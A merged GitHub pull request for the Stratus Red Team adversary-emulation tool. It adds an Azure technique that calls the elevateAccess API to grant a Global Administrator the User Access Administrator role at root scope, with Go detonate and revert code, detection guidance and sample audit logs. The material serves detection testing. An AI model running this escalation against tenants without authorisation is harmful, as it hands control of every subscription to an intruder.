-
Notifications
You must be signed in to change notification settings - Fork 296
azure entra ID escalation #771
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
christophetd
merged 7 commits into
DataDog:main
from
jbfeldman-dd:azure-privesc-user-access-admin
Mar 9, 2026
Merged
Changes from all commits
Commits
Show all changes
7 commits
Select commit
Hold shift + click to select a range
5238b26
azure entra ID escalation
jbfeldman-dd dc827c2
tighten docs
jbfeldman-dd 8a22f65
another round of doc revision
jbfeldman-dd 7cf0138
tweaks
jbfeldman-dd d798ee5
respond to codex feedback
jbfeldman-dd 4935779
Merge branch 'main' into azure-privesc-user-access-admin
jbfeldman-dd f6e3419
Enhance docs
christophetd File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
105 changes: 105 additions & 0 deletions
105
...k-techniques/azure/azure.privilege-escalation.root-user-access-administrator.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,105 @@ | ||
| --- | ||
| title: Elevate to User Access Administrator at Root Scope | ||
| --- | ||
|
|
||
| # Elevate to User Access Administrator at Root Scope | ||
|
|
||
|
|
||
|
|
||
|
|
||
| Platform: Azure | ||
|
|
||
| ## Mappings | ||
|
|
||
| - MITRE ATT&CK | ||
| - Privilege Escalation | ||
|
|
||
|
|
||
|
|
||
| ## Description | ||
|
|
||
|
|
||
| Elevates the current principal to the User Access Administrator role at root scope (/), | ||
| by abusing the "Access management for Azure resources" capability available to Global Administrators in Entra ID. | ||
|
|
||
| This technique allows a Global Administrator to gain control over all Azure subscriptions and management groups | ||
| in the tenant, enabling arbitrary role assignments across all Azure resources. | ||
|
|
||
| <span style="font-variant: small-caps;">Warm-up</span>: None | ||
|
|
||
| <span style="font-variant: small-caps;">Detonation</span>: | ||
|
|
||
| - Call the <code>elevateAccess</code> REST API endpoint, which assigns the User Access Administrator role at root scope (/) to the current principal | ||
|
|
||
| Revert: | ||
|
|
||
| - Remove the User Access Administrator role assignment at root scope (/) | ||
| If you are getting a 403 error when attempting to revert, you may need to refresh your credentials with <code>az login</code> | ||
|
|
||
| References: | ||
|
|
||
| - https://learn.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin | ||
| - https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT402/AZT402/ | ||
| - https://www.invictus-ir.com/nieuws/the-azure-log-you-probably-didnt-know-existed | ||
| - https://permiso.io/blog/azures-apex-permissions-elevate-access-the-logs-security-teams-overlook | ||
|
|
||
|
|
||
| ## Instructions | ||
|
|
||
| ```bash title="Detonate with Stratus Red Team" | ||
| stratus detonate azure.privilege-escalation.root-user-access-administrator | ||
| ``` | ||
| ## Detection | ||
|
|
||
|
|
||
| Identify when the <code>elevateAccess</code> action is called through either the Entra ID Audit Logs or the Azure Activity Log. | ||
|
|
||
| Sample Entra ID Audit Log entry: | ||
|
|
||
| ``` json hl_lines="2 5" | ||
| { | ||
| "operationName": "User has elevated their access to User Access Administrator for their Azure Resources", | ||
| "category": "AuditLogs", | ||
| "properties": { | ||
| "category": "AzureRBACRoleManagementElevateAccess", | ||
| "activityDisplayName": "User has elevated their access to User Access Administrator for their Azure Resources", | ||
| "loggedByService": "Azure RBAC (Elevated Access)", | ||
| "result": "success", | ||
| "initiatedBy": { | ||
| "user": { | ||
| "id": "00000000-0000-0000-0000-000000000000", | ||
| "userPrincipalName": "user@example.com", | ||
| "ipAddress": "1.2.3.4" | ||
| } | ||
| } | ||
| } | ||
| } | ||
|
|
||
| ``` | ||
|
|
||
| Sample Azure Activity Log entry: | ||
|
|
||
| ``` json hl_lines="3 8" | ||
| { | ||
| "authorization": { | ||
| "action": "Microsoft.Authorization/elevateAccess/action", | ||
| "scope": "/providers/Microsoft.Authorization" | ||
| }, | ||
| "caller": "user@example.com", | ||
| "operationName": { | ||
| "value": "Microsoft.Authorization/elevateAccess/action", | ||
| "localizedValue": "Assigns the caller to User Access Administrator role" | ||
| }, | ||
| "properties": { | ||
| "statusCode": "OK", | ||
| "eventCategory": "Administrative", | ||
| "entity": "/providers/Microsoft.Authorization", | ||
| "message": "Microsoft.Authorization/elevateAccess/action", | ||
| } | ||
| "status": { | ||
| "value": "Succeeded" | ||
| } | ||
| } | ||
| ``` | ||
|
|
||
|
|
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
224 changes: 224 additions & 0 deletions
224
...ternal/attacktechniques/azure/privilege-escalation/root-user-access-administrator/main.go
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,224 @@ | ||
| package azure | ||
|
|
||
| import ( | ||
| "context" | ||
| "encoding/base64" | ||
| "encoding/json" | ||
| "errors" | ||
| "fmt" | ||
| "log" | ||
| "strings" | ||
|
|
||
| "github.com/Azure/azure-sdk-for-go/sdk/azcore" | ||
| "github.com/Azure/azure-sdk-for-go/sdk/azcore/policy" | ||
| "github.com/Azure/azure-sdk-for-go/sdk/azcore/to" | ||
| "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/authorization/armauthorization/v2" | ||
| "github.com/datadog/stratus-red-team/v2/pkg/stratus" | ||
| "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" | ||
| ) | ||
|
|
||
| // Built-in User Access Administrator role definition ID (constant across all tenants) | ||
| const userAccessAdminRoleDefinitionID = "18d7d88d-d35e-4fb5-a5c3-7773c20a72d9" | ||
|
|
||
| func init() { | ||
| const codeBlock = "```" | ||
| stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ | ||
| ID: "azure.privilege-escalation.root-user-access-administrator", | ||
| FriendlyName: "Elevate to User Access Administrator at Root Scope", | ||
| Platform: stratus.Azure, | ||
| MitreAttackTactics: []mitreattack.Tactic{ | ||
| mitreattack.PrivilegeEscalation, | ||
| }, | ||
| Description: ` | ||
| Elevates the current principal to the User Access Administrator role at root scope (/), | ||
| by abusing the "Access management for Azure resources" capability available to Global Administrators in Entra ID. | ||
|
|
||
| This technique allows a Global Administrator to gain control over all Azure subscriptions and management groups | ||
| in the tenant, enabling arbitrary role assignments across all Azure resources. | ||
|
|
||
| Warm-up: None | ||
|
|
||
| Detonation: | ||
|
|
||
| - Call the <code>elevateAccess</code> REST API endpoint, which assigns the User Access Administrator role at root scope (/) to the current principal | ||
|
|
||
| Revert: | ||
|
|
||
| - Remove the User Access Administrator role assignment at root scope (/) | ||
| If you are getting a 403 error when attempting to revert, you may need to refresh your credentials with <code>az login</code> | ||
|
|
||
| References: | ||
|
|
||
| - https://learn.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin | ||
| - https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT402/AZT402/ | ||
| - https://www.invictus-ir.com/nieuws/the-azure-log-you-probably-didnt-know-existed | ||
| - https://permiso.io/blog/azures-apex-permissions-elevate-access-the-logs-security-teams-overlook | ||
| `, | ||
| Detection: ` | ||
| Identify when the <code>elevateAccess</code> action is called through either the Entra ID Audit Logs or the Azure Activity Log. | ||
|
|
||
| Sample Entra ID Audit Log entry: | ||
|
|
||
| ` + codeBlock + ` json hl_lines="2 5" | ||
| { | ||
| "operationName": "User has elevated their access to User Access Administrator for their Azure Resources", | ||
| "category": "AuditLogs", | ||
| "properties": { | ||
| "category": "AzureRBACRoleManagementElevateAccess", | ||
| "activityDisplayName": "User has elevated their access to User Access Administrator for their Azure Resources", | ||
| "loggedByService": "Azure RBAC (Elevated Access)", | ||
| "result": "success", | ||
| "initiatedBy": { | ||
| "user": { | ||
| "id": "00000000-0000-0000-0000-000000000000", | ||
| "userPrincipalName": "user@example.com", | ||
| "ipAddress": "1.2.3.4" | ||
| } | ||
| } | ||
| } | ||
| } | ||
|
|
||
| ` + codeBlock + ` | ||
|
|
||
| Sample Azure Activity Log entry: | ||
|
|
||
| ` + codeBlock + ` json hl_lines="3 8" | ||
| { | ||
| "authorization": { | ||
| "action": "Microsoft.Authorization/elevateAccess/action", | ||
| "scope": "/providers/Microsoft.Authorization" | ||
| }, | ||
| "caller": "user@example.com", | ||
| "operationName": { | ||
| "value": "Microsoft.Authorization/elevateAccess/action", | ||
| "localizedValue": "Assigns the caller to User Access Administrator role" | ||
| }, | ||
| "properties": { | ||
| "statusCode": "OK", | ||
| "eventCategory": "Administrative", | ||
| "entity": "/providers/Microsoft.Authorization", | ||
| "message": "Microsoft.Authorization/elevateAccess/action", | ||
| } | ||
| "status": { | ||
| "value": "Succeeded" | ||
| } | ||
| } | ||
| ` + codeBlock + ` | ||
| `, | ||
| IsIdempotent: false, | ||
| Detonate: detonate, | ||
| Revert: revert, | ||
| }) | ||
| } | ||
|
|
||
| func detonate(_ map[string]string, providers stratus.CloudProviders) error { | ||
| ctx := context.Background() | ||
| cred := providers.Azure().GetCredentials() | ||
| clientOptions := providers.Azure().ClientOptions | ||
|
|
||
| globalAdminClient, err := armauthorization.NewGlobalAdministratorClient(cred, clientOptions) | ||
| if err != nil { | ||
| return fmt.Errorf("failed to create global administrator client: %w", err) | ||
| } | ||
|
|
||
| log.Println("Elevating access to User Access Administrator at root scope (/)") | ||
| _, err = globalAdminClient.ElevateAccess(ctx, nil) | ||
| if err != nil { | ||
| return fmt.Errorf("failed to call elevateAccess: %w", err) | ||
| } | ||
|
|
||
| log.Println("Successfully elevated access: User Access Administrator role assigned at root scope (/)") | ||
| return nil | ||
| } | ||
|
|
||
| func revert(_ map[string]string, providers stratus.CloudProviders) error { | ||
| ctx := context.Background() | ||
| cred := providers.Azure().GetCredentials() | ||
| clientOptions := providers.Azure().ClientOptions | ||
|
|
||
| // Get a management token to extract the current principal's object ID | ||
| token, err := cred.GetToken(ctx, policy.TokenRequestOptions{ | ||
| Scopes: []string{"https://management.azure.com/.default"}, | ||
| }) | ||
| if err != nil { | ||
| return fmt.Errorf("failed to get access token: %w", err) | ||
| } | ||
| principalID, err := getOIDFromToken(token.Token) | ||
| if err != nil { | ||
| return fmt.Errorf("failed to extract principal object ID from access token: %w", err) | ||
| } | ||
| log.Println("Current principal object ID: " + principalID) | ||
|
|
||
| roleAssignmentsClient, err := armauthorization.NewRoleAssignmentsClient("", cred, clientOptions) | ||
| if err != nil { | ||
| return fmt.Errorf("failed to create role assignments client: %w", err) | ||
| } | ||
|
|
||
| // List all role assignments at root scope and filter by principal ID and role definition ID | ||
| log.Println("Listing role assignments at root scope (/) for principal " + principalID) | ||
| pager := roleAssignmentsClient.NewListForScopePager("/", &armauthorization.RoleAssignmentsClientListForScopeOptions{ | ||
| Filter: to.Ptr("atScope()"), | ||
| }) | ||
|
|
||
| for pager.More() { | ||
| page, err := pager.NextPage(ctx) | ||
| if err != nil { | ||
| return fmt.Errorf("failed to list role assignments at root scope: %w", err) | ||
| } | ||
| for _, ra := range page.Value { | ||
| if *ra.Properties.PrincipalID != principalID { | ||
| continue | ||
| } | ||
| if !strings.HasSuffix(*ra.Properties.RoleDefinitionID, userAccessAdminRoleDefinitionID) { | ||
| continue | ||
| } | ||
| log.Println("Found User Access Administrator role assignment at root scope, deleting it") | ||
| _, err := roleAssignmentsClient.DeleteByID(ctx, *ra.ID, nil) | ||
| if err != nil { | ||
| var respErr *azcore.ResponseError | ||
| if errors.As(err, &respErr) && respErr.StatusCode == 403 { | ||
| return fmt.Errorf("failed to delete role assignment - got 403 Forbidden. Your token may no longer reflect the elevated role assignment. Run 'az login' to refresh your credentials and try again: %w", err) | ||
| } | ||
| return fmt.Errorf("failed to delete role assignment %s: %w", *ra.ID, err) | ||
| } | ||
| log.Println("Successfully removed User Access Administrator role assignment at root scope") | ||
| return nil | ||
| } | ||
| } | ||
|
|
||
| return fmt.Errorf("user access administrator role assignment at root scope not found") | ||
| } | ||
|
|
||
| func getOIDFromToken(tokenString string) (string, error) { | ||
| parts := strings.Split(tokenString, ".") | ||
| if len(parts) != 3 { | ||
| return "", fmt.Errorf("invalid JWT token format: expected 3 parts, got %d", len(parts)) | ||
| } | ||
|
|
||
| // JWT uses base64url encoding without padding - add padding as needed | ||
| payload := parts[1] | ||
| switch len(payload) % 4 { | ||
| case 2: | ||
| payload += "==" | ||
| case 3: | ||
| payload += "=" | ||
| } | ||
|
|
||
| decoded, err := base64.URLEncoding.DecodeString(payload) | ||
| if err != nil { | ||
| return "", fmt.Errorf("failed to decode JWT payload: %w", err) | ||
| } | ||
|
|
||
| var claims struct { | ||
| OID string `json:"oid"` | ||
| } | ||
| if err := json.Unmarshal(decoded, &claims); err != nil { | ||
| return "", fmt.Errorf("failed to parse JWT claims: %w", err) | ||
| } | ||
|
|
||
| if claims.OID == "" { | ||
| return "", fmt.Errorf("oid claim not found in JWT token") | ||
| } | ||
|
|
||
| return claims.OID, nil | ||
| } | ||
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.